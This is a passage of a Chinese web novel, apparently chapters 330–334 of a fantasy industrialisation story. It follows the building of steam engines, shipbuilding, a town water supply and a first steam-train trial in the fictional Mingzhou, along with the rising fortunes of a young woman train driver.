仙人脸庞淡然,不表露出丝毫情绪,但庄鱼不知为何生出一种古怪的错觉,如果被这样的仙人一直注视着,应当是一件很美妙的感觉。 脑内昏昏沉沉,而后这股昏沉又被一阵风轻飘飘吹去。 大脑回过神后,庄鱼这才发现,自己不知何时,竟然已经跪倒在地,他身后跟着跪着的一群人。 此刻正看着仙人发呆。 等仙人说话时,庄鱼只觉得这声音像是溪流一样舒缓,却带着凉意。 听清楚对方居然便是把持了明州的那位仙人,且还让他加入明州建设时,庄鱼呆在原地。 ——所以先前他们打探的仙师消息竟然不是假的? 庄鱼心下惊诧,再回想到先前他们在明州看到的一切,心里也颇有偏颇。 若是同意的话,他便可以试探着完成父亲的愿望。 当初父亲研究出来机械发动后,本欲试着推广此物,却被各个大户盯上。 谁都知道这东西好,都想个个捏在手心,不肯放出去让别的人家拥有。 最后一合计,既然得不到,那便毁掉,于是他们一家这才奔波逃命。 他还在犹豫时,便听那声音缓缓道来。 “我很看好你,也很看好机械蒸汽。日后此技术可用于船只,火车,用于百姓取水,用于灌溉农田。 定是青史留名的一项发明。” 庄鱼开始不自觉心跳加速。 仙人完全点出了他的渴求。 作为墨家后裔,他自然也渴望将发现应用于民生,改善百姓生活条件,也想通过自己的技术改善本朝,为本朝发展做出贡献。 垂头思索数秒后,庄鱼慢慢抬头,盯着仙人的眼睛,答应了对方。 如今既然有机会,他自然要抓住,起码仙人看上去将明州治理得很好,那里的百姓活得很好。 若一个地方的人民过得很快乐,很满足,那便算是间接验证了此地统治者到底是什么样的人。 而与此同时,方知意得到了仙师的消息。 明日在明州入海口,会有一名叫庄鱼的人泊船入港。 此人会携带蒸汽机械技术前来为仙师效力,望她能全力配合蒸汽机械技术的发展。 蒸汽机械 方知意慢慢咀嚼这这四个字,脑内不断闪现出先前她曾在集闻楼看到的那些片段。 就算是方知意这样的人,难免也心头火热一片。 等到和庄鱼见了面,更加细致的聊了蒸汽机械后,方知意即刻决定,将全面配合。 对日后做出以下部署。 工业方面,首先将蒸汽机技术应用于冶铁和锻铸鼓风,可快速制造出更好的熟铁,支撑蒸汽技术继续往更完美的地方发展。 其次,矿场开采方面,可以用蒸汽机技术替代人工,会大大增强开采效率。 先前的话,其实出产量已经很难跟上需求了,所以市面上铁价才会久久不降,以至于大部分百姓家中有陶罐煮汤,但很少有铁锅之类的,毕竟目前的铁类几乎全部用来制造武器等更刚需的地方。 再其次,粮食,油料加工,纺织行业也急需机械快速生产,提高产量。 民生方面的话,水利灌溉,蒸汽城镇供水,绝对是日后最需要的方向。 工程基建的话,建筑起重,河道挖渠,木材加工等等会全面用到蒸汽技术。 当然,若是要发展蒸汽技术,必然离不开庄鱼从新大陆带回来的各项农作物。 这些农作物有一部分完全没办法移栽在本地,只能通过船舶贸易形式获得。 所以蒸汽技术要回流到交通运输上。 一是建造造船厂,建造出足够规模的船只,指派特定队伍往返固定航线,获取资源。 二是用提升过后的钢铁做铁轨,建造蒸汽机火车,连接各个县域,贯穿整个明州。 不仅仅可以用来迅速传递货物,也可用来转移大批量的百姓,让百姓日后出行更为简单。 不过针对于目前的话,自然是工业属性更多一些。 三是即刻在合适地区种植新大陆产物,尤其是橡胶,需要大规模种植采收,只有获得足够产量的橡胶,才能跟得上蒸汽机械发展。 但坏就坏在目前能够种植橡胶的地方只有黎州适合。 方知意微微沉默,默默决定将攻打时间调前。 原先她是打算再发展一番拿下黎州,但如今明显是蒸汽发展更重要,所以必须尽快拿下黎州。 在未拿下黎州前,蒸汽发展决不能停下。 要用一切力量先制造船只,而后靠着贸易迅速获取大量橡胶,必须要率先发展起来蒸汽技术! 既然大方向已经定了,剩下的便是按部就班的发展。 几乎在极短的时间,明州入海口附近瞬间建造起巨大的造船厂,内部工人日夜不停歇,加班加点的完成建造任务。 因日夜不停,所以加班费,晚班费给得都很到位,自然涌出一大批想要赚钱的人进去,当初招聘现场一度混乱。 因造船行业长期看好,方知意特意开始了造船课程,花费高薪让有经验的老船工教授新人。 这价格给的很高,吸引了不少上了岁数不能做活的船工。 以往这行技术不会轻传,但在高薪和高社会地位的诱惑下,瞬间就有不少人愿意教授后人。 除了造船业迅速发展外,配套船只的武器改装、研究也进入了新的研究阶段。《 》 330-340 第331章 蔓延 明州如今各方面发展得如火如荼,从造船业本身到教授造船的技术学堂,以及新兴的船只武器改装。 武器改造方面主要是段化负责的。 因船只武器和先前他制作的火铳,震天雷,以及后续陆续做出的更精细的手持小型火铳都有一些关联,且因为体型更大一些,反而更好做。 既然体型更大,那便只需要保障火力足够。 炼钢厂的火炉滚滚,从未停止过制造钢料,机械厂则是又开设了新的,最紧急的蒸汽机械产线,这是目前排在第一位的生产任务。 因庄鱼还要负责蒸汽技术的整体调控和攻破,所以下一次航海他不能去了。 这任务落在了朗叔身上。 同时在方知意的要求下,船上必须配备通讯道士,以便随时联络。 而朗叔也是亲自去学堂挑选了愿意投身航海事业的学生,他会在这次实际航行中,将自己知道的东西,一一教授给这些后人。 于是很快,朗叔便被尊称为朗老,当然,他本人还是更习惯被叫朗叔,比较亲切。 至于先前他们带回来的那批货物,属于种子类的已经被专业人员带回去研究种植方法,致力于尽快将这些外来产物在自家开出花来。 除了延续固定航线贸易外,方知意还建设了一支负责另外海外探测的新队伍,负责更深入其他陌生海域。 探索队的分工和贸易队完全不同,探索队里都是专业性极强的人,这些人大都是孤家寡人,且有着崇高的志向——先前之所以没探索是因为船只配置不够,在当时没有蒸汽机械动力的情况下,根本无法深入海域。 但如今既然船只问题解决了,那这些人自然要踏入新海域去探索一二。 一是为了满足自身好奇,二是为了明州。 时间过得很快,造船厂在陆陆续续建造好船只后,又将大批大批的货物,譬如白糖,盐巴,布料,染料,等等本地有的东西都填充进去,因如今此项目变成了官府项目,所以这些货物的购入几乎全是成本价,便宜得惊人。 对于先前最先发现这条贸易路线的庄鱼一行人,方知意自然是给了巨额奖励的。 房子,马车,以及足够数量的天地币,或者是一个稳定工作。 毕竟这条航线带来的利润和价值非同小可,而这些人也是冒着生命代价才将此航线记录下来,又和官府合作,从各种意义上来看,都应该奖励才是。 在确定奖励的第二日,这消息就登上报纸,迅速在明州传开。 当然,内容自然不会写航线为何,而是着重于描绘这只探索队探索发现了新的大陆,那是一片充满希望和未来的黄金大陆,因贡献巨大,所以做出如下表彰。 这刊报纸发售仅仅一个时辰,便被抢购一空 “新大陆?意思是除了大炎朝外,还有别的地方?” “想来也是,原先不过是咱们一直没发现而已,现在总算是发现了。” “怪不得最近听说开始造船了,我听人说过,大炎朝四周都是海水,那新大陆估计要开船过去。” “黄金大陆?意思是那新大陆有许多好东西,到底是啥啊,官府也不给咱们透露一番,尽馋人。” “去去去,这可是内部消息,怎么会透露出来,万一让别有用心的人听到了岂不是坏了?” “不说这些,你们不觉得那给得奖励也太多了吧?老天奶啊,那是多少钱啊,还给送房子工作马车的,想羡慕死谁!” “啧,那可是要命的活计,你要是提前知道了,估计也不敢去!” 群情激奋,说什么的都有,大都在感慨新大陆,同时暗戳戳酸了酸这支队伍。 但大伙心里门清,就算他们知道了会给这么多东西,也不敢去啊!那死亡的概率可高,落在自己头上可就是百分百的,谁还没有个家人孩子的,但凡是日子能过下去的,不是那爱冒险性子的,谁愿意去冒那个险! 不过这报纸上刊登的消息,潜移默化影响着明州百姓的日常。 人们对于未来明显更有希望了,各项娱乐,消费,小幅度上涨。 且目前的话,出现了一种新的潮流,被笑称为“白日梦流”。 大概便是受那支幸运小队故事启发,不少人将暴富的机会挪到了官府身上。 倒不是说做什么坏事,而是默默决定,若日后在明州,或者其他地方发现了什么好东西,定要第一时间给官府上报过目,这才是最佳处理办法,按照知州大人的性格,是绝对不会让第一个发现的人吃亏的。 这潜移默化的影响让众人不自觉对明州更为依赖。 同月,货物已经装载完毕,武器设备,火铳,震天雷全部供应到位。 除了出海的船员外,额外招聘了武术高强的镖师作为专属贸易护卫队,负责护卫贸易航行。 上次庄鱼等人一路上没遇到别的开船的人,也是运气好,若万一遇到了诸如海贼这类敌人,他们得有自保和反攻才行。 一切准备就绪,近四个月倾尽一州之力打造的6艘大船,12艘小船彻底入水,向着固定航线前进。 其中最大的一艘大船,船长约138米,宽约55米,船有三层,整体高度为33米左右,远看高耸如楼,底尖上阔,十分气派。 船只配有6桅10帆,铁锚重达数千斤,配套的蒸汽发动机为8台,分别置于宝船底层两侧隔舱,既可带动船只,又可平衡船体重心,又方便单独检修,同时不影响核心区域的储物和居住区。 储物仓内,大概有四分之一的库存配置了用于燃料的煤炭,剩余的位置便用来配置船员两个月的食物淡水,同时配备有价值的,打算贸易往来的货物。 最大的这艘船上,总共有75人。 其中50人为维护船只的工作人员,剩余的25人作为备用岗,贸易岗,账房岗,杂役等等。 此行派出的人员接近500人,实在是出行人员最多的一次航海了。 若是一切顺利的话,在蒸汽机械动力的巨大推动下,每个月可往返贸易一次。 毕竟速度比原先庄鱼他们那艘船快多了,当初庄鱼的船只配备了一台蒸汽机械,单程需要二十日左右,如今每艘船至少配备四台以上,速度自然比先前快。 这只贸易船队迅速离港,亲眼看到的百姓无一不惊叹那最大的船只——实在是气派,就算是他们沉浸在造船业多年,但还是头一次亲眼看到如此庞然大物出现在自家港口。 与此同时,当初庄鱼一行人带回来的第一批橡胶,如今已经投入生产,变成了用来密闭隔绝空气的橡胶垫。 事实上,负责蒸汽机械化的不仅仅是庄鱼,还有仇离。 他本身对这方面也感兴趣,如今也正好方大人点了他来协助庄鱼,索性就痛快来了。 仇离此人无论是在术法亦或是器械方面都属于天才,先前他修炼《青梧引》的速度就很快,别人需要每日修炼五六个小时,他只需要一两个小时便可融会贯通,实在是过分。 现如今这修炼快也有好处,那便是能静心帮着推广蒸汽机械化进程,不至于说会耽误自己修炼。 仇离在初次了解蒸汽机械后立马断定,这绝对是跨时代的发明。 等到和庄鱼见过面后,二人倒是很快便忙于正事。 事实上,在有了仇离的帮助后,庄鱼才稍微感觉肩头的重担轻松了一些,虽说先前知州大人配备了足够多的工匠,其中也不乏能工巧匠,但总的来说,他还是需要一个能和他能力不相上下的人和他一起研究,这样才能碰撞出更多的火花。 他早在先前确定明州如今和以前大不相同,且知州大人足够靠谱后,将自家父母,哥哥一并接来。 其实起初家人并不想来,但庄鱼亲自去找了父母,又带他们看了如今的明州,那天庄父老泪纵横。 躲躲藏藏,如今终于能用一身所学为天地,为生民做出一番贡献来。 父亲很快跟着进入工程队内,每天忙得脚不沾地,根本没空理他。 他哥哥也大差不差,大部分时候忙于蒸汽机械下分行业,即便如此,还是急需大量人才。 于是庄父深思熟虑后,将一封封信件传递到了过往的老友手中。 危难之际他们从未联系过,生怕互相拖累,如今天亮了,他得通知老伙计过来,他们也和他一样,理应享受这新时代的庇护。 庄父的信件像是信鸽一样飞向各处。 而同时,这一批橡胶剩余的部分被用来做各类机械的皮绳牵引,耐磨程度直线上升,同时还会做成减震垫,用于保护蒸汽机械的核心动力。 不过绝大部分时候,一大半橡胶都被用于做成密封圈,活塞环,橡胶垫圈,保证蒸汽能够充分利用。 庄鱼自然知道这橡胶作用很多,还可以用作轮胎,若是安排在马车上,定会提升舒适度和使用寿命。 不过眼下这些橡胶必须要用在最重要的地方,而不是用于提升体验上。 等到蒸汽技术发展起来后,橡胶来源提供得安稳后,橡胶才会被考虑用在这行上。 如今采矿行业,冶炼行业,纺织行业,木材加工行业是最先用上蒸汽技术的,毕竟这四样十分关键,是制作船只的必要工业工厂,船能建造得快也是有先发展这四类的原因。 除了工厂外,官府另外招了不少人开始修建贯穿明州的铁轨,至于机械处已经研制好了蒸汽火车,目前正处于测试阶段,只需要等第一段铁路建好后试运行。 这些日子,庄鱼和仇离二人没闲着,而是在研究一项重要的民生项目——城镇供水项目。 第332章 布局 城镇供水项目的原理就是用蒸汽机械泵水,从而将水送到每家每户。 当然还需要将水库设置在稍微高一些的地势,利用水压差也能让供水项目更方便落地。 但难点在于各个城镇管道铺设。 庄鱼还在发愁——这是一项巨大的民生基础建设啊,不说别的,光是铺设管道这点就要消耗多少人工。 正发愁时,就看仇离竟然丝毫没细看这部分,直接略过。 “城镇供水项目比想象中简单太多了。” 庄鱼:???不是,那建设水库,弄个蒸汽机还算不上难,但最难的部分对方压根就不看啊! 想到或许仇离没这方面的经验,庄鱼稍微指了指送水入户的字符。 “这方面太难做了,对于人力物力都是一笔巨额消费。” 仇离扫了一眼,笑着将此方案推过去。 “没这么麻烦,早在铺设沼气管路时,就连着日后的水管也一并铺设下去了。” 那是自然,要知道铺设多根管路的人工费铺设时间与铺设单根管路相差不大,唯一差的就是材料钱,但这钱是最便宜的那点了。 若是从头开始,又是从地下挖掘,改装,再次掩埋,其中花费的时间更多。 庄鱼本还有些懵,足足沉默了好几秒才反应过来仇离在说什么。 ——沼气池他知道,这东西实在是一项跨时代发明,在知晓沼气池竟然涵盖做饭,取暖,照明三大核心需求后,庄鱼连着叹息好几天,若不是还有蒸汽机械各项事宜等着他处理,他甚至都想抓着仇离好好问个几天几夜。 本以为城镇供水会是难以解决的麻烦事,但没想到对方在埋沼气管道时就顺带埋了水管,这是早就预知到日后会有城镇供水的这一天?还是习惯性的铺设多余的管路,以防意外? 但无论是哪种情况,这都需要极大的决心,毕竟多余材料费的花费也是一笔巨款,且大部分时候,统治者并不想花费这些钱,仅仅是为了提升百姓的生活质量。 对这些上层人来说,百姓的具体生活他们压根不想过问,他们只在乎活着的,能替自己创造利润和价值的人还有多少,能不能够自己享乐,能不能够自己使唤用,至于这些被看做奴才一样的百姓们的生活,他们不想知道,也懒得知道。 反观明州竟能从根部考虑到这点,实在是让庄鱼震撼不已。 这需要多高的个人信仰,得完全不为自己个人利益所动,完全关心体贴百姓的人才能这么做,毕竟这在原先那些人眼里百害无一利。 仇离没抬头,手指翻着城镇供水的方案。 “当初方大人说过,只有提升百姓的生活质量,给他们足够能让生活轻松的机会,才能会创造出更多的社会价值。一个社会是千万个普通百姓集合而来的,如果想整体向前走,那就要保障每户人家都能跟上步伐,处于一个向前走的状态。” 庄鱼还在沉默,因为赶工着急,他如今还得是抽空去了扫盲班,接受了一番明州每个人需要的教育,这才能勉强听懂这些话的意思。 譬如社会的概念。 “这是知州大人个人理念?” “不。” 仇离停下动作,抬头看他,脸庞不再微笑,变得严肃起来。 “这是受仙师认可后,方大人将它推广开来,可以说如今整个明州的核心理念就是如此。 虽说在报纸上说过,或许百姓们不相信这话,但所有的官员,所有的官方,都是按照这样的核心理念去做事的。” “而且,和你一样,我效忠仙师,一是有私心,二便是仙师所求和我所求的社会高度接近,或者说更好。 为了同一个目标,我愿为仙师效犬马之劳。” 庄鱼看着眼前之人,一时间不知道说些什么。 事实上,他和仇离想得几乎一样。 若这样的世道还不能让他愿意为之付出努力,付出自己的才华,那他不知道自己到底还要要求什么。 …… 城镇供水计划迅速通过。 不日便在一地势高的地方建立起一水库,这里是城镇自来水处理中心,有着多重过滤装置。 第一级是粗滤池,内铺鹅卵石块和碎石块,负责过滤掉树枝杂草,小石子之类的大块杂质。 第二级是细滤池,内铺细沙和木炭碎,负责滤掉泥沙,虫卵。 第三级是滤网缓冲,内铺多层粗麻布,负责拦住细沙,木炭碎,二次筛掉漏网的微小杂质,此刻水流彻底进入蓄水库备用。 蓄水库的水作为整个城镇处理过后的水,会通过主管道分流到次一级管道,而后各自送到各家。 为了方便管理和检修,主闸口,次闸口,以及各区域,各街道,每家每户都设置了闸口。 而因为供水所需要的各项人工,再加上避免浪费,所以每家每户都要收费。 依旧是按照阶梯收费,若正常使用的话,水费一个月仅8文即可。 商户,大户的话,会按照用水量往上叠加。 虽说以前打水不用钱,但需要自己花费力气去水井打水。 这月8文便可做到随开随用,再也不需要去打水了。 其中省下的力气也远超8文钱。 因整体管道架构都在,所以只需要将主管道和次主管道修建起来即可,同时机械厂内部多了一批阀口的订单。 这些东西很快便落实到位,再由官府特定的管理人员负责挨家挨户安装,开启。 等到确认全部安装后,各个街道便会统一起来给百姓们科普如何使用。 包括水依旧需要烧开饮用,阀门怎么拧,若是突然坏了该如何紧急处理,以及包括如何收费,不可浪费等等。 至于商户的话,需要前去官府报道登记,毕竟商业用水和民用价格不同,若是不曾报告,月月过来检查的稽查部门发现后有权暂停营业,并追回过往费用,同时处以罚款,严重的话还要追责。 等到确保全部科普完毕后,便算是结束了。 一开始有些人还有些不是很乐意,毕竟一个月还要多花费几文钱水费,这搁以前可是免费的呀。 但等到拧开水龙头,感受着水流流泻的轻松,又用盆子接了水去看这水的颜色。 发现和原先略显浑浊的水完全不同,这经过处理的水肉眼看着明显没有杂质,更干净。 甚至在当天下雨的情况下,水还能保持相对干净的状态。 这放在以前简直是不可思议。 之前的话,那都是要挑水后回来静置才能烧开饮用的,盆子下头一摸,都是一层明显的沉淀物。 有泥沙,也有絮状物杂质。 如今可是大不相同了。 不少人尝了口,发现水的口感也变好了,先前有些略微苦味,如今没有那股异味,还隐隐约约带着一股甘甜。 也不知道是因为不用挑水带来的心理错觉还是真的如此。 总归,在很短的时间内,大家很顺从的就接受了月收费8文的水。 先前的井水还需要维护,如今自从自来水普及后,井水慢慢都处于暂时封闭的状态,现在已经没人会闲得没事干自找苦吃去自己挑水了。 如今都是随用随拧,方便得很。 明州的城镇供水计划进行得很顺利,主要也是因为先前管路铺设到位,只需要后续建立自来水厂即可。 不过即便如此,普及此类民生依旧花费了不少金银,若不是先前方知意从各种途径拿到了银两,还真不好投资下去。 在自来水厂遍布明州各个城镇时,负责来往贸易的巨型船队已经往返了两个来回。 为明州带来巨额的橡胶以及药材。 方知意自从了解到当地的橡胶树处于野生状态后,稍作思索,便加派了负责翻译的学者,以及农业专业人员过去负责指导本地人种植橡胶树,毕竟日后对于橡胶的用量还会增长,若单靠野生可不够用。 当然,如今她们是抱着友好相处,互利互惠的心思去的。 毕竟那些土著目前十分需要她们明州的货物,土著们不傻,能看出来橡胶是明州需要的作物,现在还有人帮忙指导怎么科学化种植橡胶,这对于他们来说是好事才对。 造船厂还在继续造船,目前的话,负责去新大陆探索的专业人员还不曾回来,不过靠着通讯道士汇报了在当地的发展。 大致便是新大陆比想象中大,但都是分为一个个零散的部落,各个都很落后。 如今探索队正负责记录新大陆的各类植物,动物,以及各个部落的关系等等,大概会在两个月后回来。 方知意收回注意力,将心思放在这批橡胶上。 ——有了更多的橡胶意味着她能做更多的蒸汽发动机,这对于各行各业来说十分有利。 先前的橡胶数量只够做最紧急工厂的机械部分,如今橡胶填补上了需求,方知意便下令将其余榨油,灌溉,挖掘水渠,清理淤泥等等需要人力的地方全部改进成蒸汽机械。 很快,这些由蒸汽机械推动运行的巨大机械就代替了最劳累,最危险的人工活动。 譬如原先榨油需要人畜合力去研磨棉籽大豆,现在的话,机械的速度是原来的15倍,不过依旧需要5名工人辅助机械,但省力太多,且出油率高了5%,产能大幅度提升。 灌溉的话从原先的纯器械变成蒸汽机械动力,效率提升15倍。 挖掘水渠,清理淤泥的话效率提升了8倍左右,但有限制,只能是挖掘较为宽阔的水渠,若是很狭窄的水渠,依旧需要人力,但整体来说提升很大。 最为痛快的是可以一机多用,灌溉用的蒸汽抽水机,换个配件就可以去清淤,换个管道就能排涝,利用率高得吓人,不存在空置期。 第333章 通车 蒸汽机械带来的发展远超想象,不仅仅作用于明州生活的吃穿住行各方面,还有效提升了百姓的生活质量,提高了物品的生产效率 如今,最惹人注意的便是第一节铁路已经铺设完毕,昨日,方知意已下令让人将蒸汽机的头部挪移到铁轨上,同时安装好车厢挂钩,开始进入试运行阶段。 确保整个火车被检验处于可运行状态后,第一次试运行开始。 负责驾驶火车的是学堂里提拔出来的人才,叫余莹。 此人出生于平民百姓家中,幸亏有新学堂出现,不然的话,早就早早嫁了人,而非能够进入学堂内读书。 也是因为余莹很是聪慧,先后用身旁人的例子来默默影响父母,好让对方相信上学堂才是对她正确的投资。 等进入学堂后,她展露出十分惊人的学习能力,远超同龄人。 在同龄人还在费劲巴拉在初级班挣扎时,余莹已经靠着比常人更聪慧的大脑提前升学,进入中级班继续学习。 之后又升高级班,如今快毕业了,又在官府过来招聘蒸汽机火车相关项目入组人员时加入其内。 余莹意识到,这蒸汽机械绝对是她的一次机会,而这蒸汽机火车,应当是日后一个热门的方向才对。 毕竟这意味着更快的速度,更高的效率,日后若是拓展开来,还能载人的话,应该会作为一种公共设施? 而她先进了这组内,参与蒸汽火车的设计制作事宜,日后就算是论功行赏,她也理应在前列。 等到实物造出来后,这火车的试运营成了一块烫手山芋。 毕竟若是发生意外的话,谁也没信心能处理好。 思来想去,余莹接下了这任务。 首先就算是火车失控,到了无法挽回的情况时,她也还可以通过跳窗逃离。 就算是贴得最近的锅炉炸开的话,她大概率也能从前兆发现,跳窗快一些的话最多是受伤,但不至于会死。 其次,试运营当日,方大人定会莅临现场,就算有什么意外,她只需要沉着冷静,在听从方大人指挥的基础上自己灵活一些,应当大概率能处理好。 毕竟她能从家里劝父母送她上学,到如今即将从高级班毕业,余莹自认为自己拥有冷静灵活的头脑。 若试运行成功,那么她就会大概率被方大人提升到项目的核心位置,日后的发展肯定要比龟缩着好,综合考虑下来,她接下了这次任务。 因是试运行,来得大都是负责此事的官员,以及时报的撰写人员,其次的话,也有一些附近的百姓过来看个热闹。 也不是什么不能看的东西,方知意并未撵走百姓,只是要求他们离得远一些,省得一会有意外出现。 余莹的手已经握到了手柄,等到往前一推,轰隆隆的震动迅速从车身传递到她指尖,震得她手有些发麻,但目前看来,一切按照计划运行。 在万众瞩目中,火车开始慢慢启动,巨大的蒸汽宛如白云一样喷散开来,热浪滚滚。 控制室内除了余莹外还有另外两人,一男一女,男的是负责往里面填充煤炭的,另外一名女子则是作为副驾驶员协助余莹开动火车。 事实上,她们也是一路跟着过来,彻底弄明白了蒸汽火车的原理,这才能在一堆减压阀中准确找到所需要的那个。 蒸汽火车控制室内控制阀众多,两名驾驶员负责操控,外加一个锅炉小工负责填煤是标配。 炉灶的盖子一打开,热气便扑腾一下窜出来,余莹坐在主驾驶负责关注前方路线,同时注意操控阀门。 另外的副驾驶员时刻注意要协助主驾驶员,眼睛盯得很紧。 事实上,三人都处于一种紧张的状态。 试运行阶段敢上来的人都不是普通人,各有各的谋划,起码要远超普通人胆识。 三人全神贯注自己手头的活计,脑内闪过临上来前做的意外演练的模拟内容。 余莹时刻注意着蒸汽机内部各部位的状态,同时负责听声音,确保各个部位运转良好,没有异常噪音出现。 他们后面的车厢里塞了一车厢的棉花,正好要送到目的地,所以当时就给装上了。 蒸汽火车一旦运行开来,倒是运转良好,可达到每小时15公里。 试运营阶段,为了全面监测蒸汽火车全程表现,方知意设置了5个短程,每一程都有两人各自骑马,用马匹最快速度全力奔跑二十分钟,而后换下一段的人接力记录。 这骑马的两人一个是通讯道士,需要时刻注意将意外情况告知方知意。 另一个是监测员,负责记录火车运行。 因马匹保持每小时15公里的速度只能全力奔跑三十分钟到四十分钟,所以方知意做了缩减,将时间定在了二十分钟。 很快,第一段路程的通讯道士传递回来了消息。 “方大人,第一阶段暂无异常!” 很快,第二段,第三段,第四段路程反馈均是无异常。 眼看到了最后一阶段,不仅仅是等待回报的方知意等人,亦或是余莹三人,都处于最紧张的阶段。 若是这阶段能顺利的话,这蒸汽火车就算成了! 越是靠近终点站,余莹的心脏开始不受控制的加速,其余两人没好到哪里去。 负责填充锅炉的小工手心开始出汗,眼睛直勾勾盯着火苗,时刻观察什么时候需要他填充,亦或是减少燃料。 副驾驶也是心头狂跳,明明快到了,但此刻不知为何,背后的汗竟然是越出越多。 等到看到那标志着最后位置的标牌后,先前乱跳的心总算归位,余莹立马开始操作,负责将火车停靠。 副驾驶的手指灵活地在众多阀门跳跃,跟着停靠火车。 锅炉工也做完了最后一步控火步骤——反复拨动炉子,将旺火散成碎煤,关闭风门,让煤自然燃尽。 一切就绪。 余莹强忍着激动,等到了位置后,终于拨动了汽笛,代表火车入站。 站台上已经站着等候的人,最终路段的回馈终于传递回去。 “报告方大人,蒸汽火车试运行成功!” 远在75公里外的方知意一行人终于彻底放心。 报社撰写员已经开始忙着写稿,等第二天这消息就会传遍明州的大街小巷。 长鸣音还在继续,等到最后一声消散在空中时,蒸汽时代彻底开启 “喜报!喜报!蒸汽火车运行成功!新时代洪流已经滚滚而来!” “钢铁巨兽!蒸汽火车的时代已经来临!” “载货已经开始,载人还会晚吗?” 一大早,报社就被围得水泄不通。 全是过来买报纸的。 基于昨日蒸汽火车试运营成功后,众人又被劲爆的头条吸引,纷纷驻足买报纸查看上方消息。 等到看完上面写的蒸汽火车的时速和载重后,众人顿觉震撼。 ——啊?最快可达15公里每小时,载重吊打商户马车,这写的和做梦一样。 虽说自从蒸汽机械开始进入明州后,这跨时代的消息一天一个样,但什么哪个厂又添置了新机器,生产相较于先前提升多少倍,这些东西虽然每天都在写,但日子稍微一久,在惊讶过后,便很快归于平静。 毕竟对普通人来说,日常生活中差别不算大,就算物价慢慢被拉低,那也是一个极为缓慢的过程,若非敏锐的人,其实是很难发现蒸汽机械的巨大好处。 先前运用机械挖渠时,倒是让大伙初步了解了这蒸汽机械的妙用,直到现在,众人这才在脑内对所谓的蒸汽机械有了一点实感。 ——哦哦哦,这是一种完全由钢铁打造的巨大马车,不过不是靠着马匹拉车,而是靠着那什么机械核心推动的。 不说这些虚的,这报纸上可是写了,日后等载人火车推广开来,每个县域都开通停留站点,普通百姓完全可以在春节时坐着火车来往拜亲,速度相比先前快了起码一倍! 而且载人量惊人,且据说内部不会像是马车一样拥挤,而是确保一人一个位置。 顿时百姓炸开了锅。 “这速度更快了,还一人一个座,会不会价格高?” “啧啧啧,咱们明州像是能干出这些事的? 你看过往那些好东西,哪一个有卖出天价的? 定是成本价往上加点就是。” 周围人起哄,提出质疑的人老脸一红,结结巴巴辩解。 “我我就是好奇问问,没坏心思啊!” 气氛在说笑打闹中陷入欢快,但大伙对所谓的载人火车热情度攀升,甚至不少人还会特意去看看如今载货的蒸汽火车长啥样。 为了防止百姓误入,铁轨出入口设置了人员看守巡逻,确保不会有百姓被火车伤到,同时的话,每日检查轨道无误后才可继续运行。 蒸汽火车成功运营后,负责培训驾驶员便成了重中之重。 除了现在就能立马上岗的人员外,还要分出去人作为夫子教授学习。 事实上人手还是紧张的。 再加上行业的稀缺性,高技术难度,危险性,目前的话,驾驶员的工资高达每日600文,副驾驶员为500文,锅炉工每日为350文。 食宿全包,若是有房子的话,可转化为住房补贴,逢年过节,各项福利都有。 林林总总一年也能收入颇丰。 虽说有些工厂也有计件匠人赚过日薪五百文的时候,但那是偶然性的,和驾驶员固定工资不一样。 且能在工厂拿到日薪五百文的匠人,本质上也是有着过硬的技术能力,同时加计件绩效才得来的。 所以无论怎么看,驾驶员绝对算人人羡慕的高薪了,现在谁都想学开火车,但不好意思,最少得是中级学堂毕业的,不然课程压根听不懂,这门槛顿时卡掉了一大批人。 第334章 商品战 因人手稀缺,所以目前的话,余莹需要和其余几位暂时轮替着开火车过渡两个月,同时还兼职参与蒸汽火车的建设。 既有一个蒸汽火车建造成功,那定是要多建设几个轮换着工作。 且铁轨的铺设还在继续,如今暂且是一条铁路,不过按照日后的计划,铁轨也会额外多设置几条。 至于薪资的话,例如余莹这样的,就是拿两份工钱。 一份是开火车的钱,另一份是负责蒸汽火车建设研究的工钱。 合并在一起后,这份薪资是一个很可观的数字。 余莹是风仙县人,属于最早受仙师庇护的县域,家中有一个小她两岁的妹妹,以及一个小她四岁的弟弟。 当初风仙县还属于王县令掌控时,她家属于艰难度日的那一类。 在这个资源极其匮乏的时候,重男轻女那是极为严重的。 等到上头的人换成了仙师,换成了方大人,学堂开始建设起来,像她们这样的小娘子也能够去读书认字,且仅仅只需要花费一年一两。 余莹自己赚了钱,不仅仅付了自己的学费,也硬生生付了妹妹的学费。 毕竟当初余家父母说过,他们家不会给她们两个丫头读书的钱,若是想读书,那钱得自己去赚。 就这样,余莹靠着自己赚钱,慢慢熬过了最艰难的时候,如今不仅有高薪开火车的工作,还参与了蒸汽火车设计落地,俨然不知不觉成为家中最具话语权的人物。 ——余父日薪为150文,余母日薪为120文,两人加起来连三百文都不到,但余莹光是火车驾驶员这一工作就有600文的日薪,更不要提参与设计火车,落实火车落地那份工作的工资了。 余莹很聪慧,在她考上中级班的时候,她已经敏锐地察觉到了父母对她态度变化——变得更小心谨慎,不会随便动手,态度好了不少,毕竟从当时看来的话,单单是一个中级班毕业,日后出来也能找到日薪300文往上的体面工作。 当时余莹暗自发誓,她还要继续努力,努力往上攀爬,直到到达一个她倾尽全力能到达的最高高度才行。 于是她考上了高级班。 那一天她记得很清楚,考上高级班的那晚,家中父母特意买了好酒好菜,家中人没人动筷子,直到她回来才开始动筷子。 这在原来是她压根想都不敢想的。 除了这方面外,无论是父母,亦或是弟弟,都变了态度,妹妹倒是一如既往的拥护她。 很快,家中大大小小的决策第一时间都是她处理的,话事人的权利逐渐过渡到余莹手中。 人一旦品尝过这滋味,事业心只会更重。 余莹就是如此。 不可否认,在那晚,她体会到了以往余父总是能体会到的快感,原来家中一言堂的感觉这么爽利。 哪怕余父原先只能为家中带来微弱的收益,但有着男子身份,让他天然的,自然的就能享受到这一特权。 而她则是运气好,遇到了仙师,遇到了方大人,这才有机会,靠着自己努力攀爬才得来的话语权。 心中自然是觉得不公平的,但如今有方大人,且政策方面逐渐将这方面纠正回来,余莹只想再努力一些。 若像她这样的女子再多一些,那么周围的人,至少她们家附近的人们就能活生生看到一个例子,女子比男子强得多,投资女子比男子更有收益。 实际上,不仅仅是周围的人,报纸上额外采访了蒸汽火车研究团队,其中女子的比例要比男子更多,这一事实立马击碎了过往百姓们朴素的认知。 尽管有人还要反驳说数据片面,但很快就有人将先前报纸上曾经公布过的高级班男女比例拎了出来举例。 谁都知道报纸上写的那可都是事实,不会随意捏造。 证据摆在眼前,这些人就算是想反驳也觉得反驳的话太苍白,最后只能在心里骂几句了事。 